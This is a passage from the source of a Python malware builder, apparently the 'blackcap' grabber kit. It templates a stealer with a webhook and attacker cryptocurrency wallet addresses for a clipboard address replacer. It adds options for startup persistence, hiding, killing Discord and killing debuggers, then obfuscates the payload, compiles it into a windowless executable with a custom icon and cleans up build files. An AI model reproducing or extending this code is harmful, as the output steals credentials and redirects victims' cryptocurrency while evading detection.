webhook) .replace("%ping_enabled%", str(self.ping)) .replace("%ping_type%", self.pingtype) .replace("%_address_replacer%", str(self.address_replacer)) .replace("%_btc_address%", self.btc_address) .replace("%_eth_address%", self.eth_address) .replace("%_xchain_address%", self.xchain_address) .replace("%_pchain_address%", self.pchain_address) .replace("%_cchain_address%", self.cchain_address) .replace("%_monero_address%", self.monero_address) .replace("%_ada_address%", self.ada_address) .replace("%_dash_address%", self.dash_address) .replace("%_error_enabled%", str(self.error)) .replace("%_startup_enabled%", str(self.startup)) .replace("%_hide_script%", str(self.hider)) .replace("'%kill_discord_process%'", str(self.killprocess)) .replace("'%_debugkiller%'", str(self.dbugkiller))) time.sleep(2) print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Source code has been generated...{Fore.RESET}') if self.obfuscation == 'yes' and self.compy == 'yes': self.encryption(f"{filename}") self.compile(f"obfuscated_{filename}") elif self.obfuscation == 'no' and self.compy == 'yes': self.compile(f"{filename}") elif self.obfuscation == 'yes' and self.compy == 'no': self.encryption(f"{filename}") else: pass def encryption(self, filename): print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Obfuscating code...{Fore.RESET}') os.system(f"python obfuscation.py -i {filename}.py -o obfuscated_{filename}.py -s 100") def compile(self, filename): print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Compiling code...{Fore.RESET}') if self.icon == 'yes': icon = self.icon_name else: icon = "NONE" os.system(f'python -m PyInstaller --onefile --noconsole --upx-dir=./blackcap_files/upx -i {icon} --distpath ./ .\\{filename}.py') print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Code compiled!{Fore.RESET}') def run(self, filename): print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Attempting to execute file...') if os.path.isfile(f'./{filename}.exe'): os.system(f'start ./{filename}.exe') elif os.path.isfile(f'./{filename}.py'): os.system(f'python ./{filename}.py') def cleanup(self, filename): cleans_dir = {'./__pycache__', './build'} cleans_file = {f'./{filename}.py', f'./obfuscated_compressed_{filename}.py', f'./compressed_{filename}.py', f'./compressed_{filename}.spec'} if self.obfuscation == 'yes' and self.compy == 'no': cleans_file.remove(f'./obfuscated_compressed_{filename}.py') elif self.obfuscation == 'yes' and self.compy == 'yes': cleans_file.add(f'./obfuscated_compressed_{filename}.spec') elif self.obfuscation == 'no' and self.compy == 'no': cleans_file.remove(f'./{filename}.py') else: pass for clean in cleans_dir: try: if os.path.isdir(clean): shutil.rmtree(clean) except Exception: pass continue for clean in cleans_file: try: if os.path.isfile(clean): os.remove(clean) except Exception: pass continue if __name__ == '__main__': init() if os.name != "nt": os.system("clear") else: os.system('mode con:cols=212 lines=212') os.system("cls") Builder()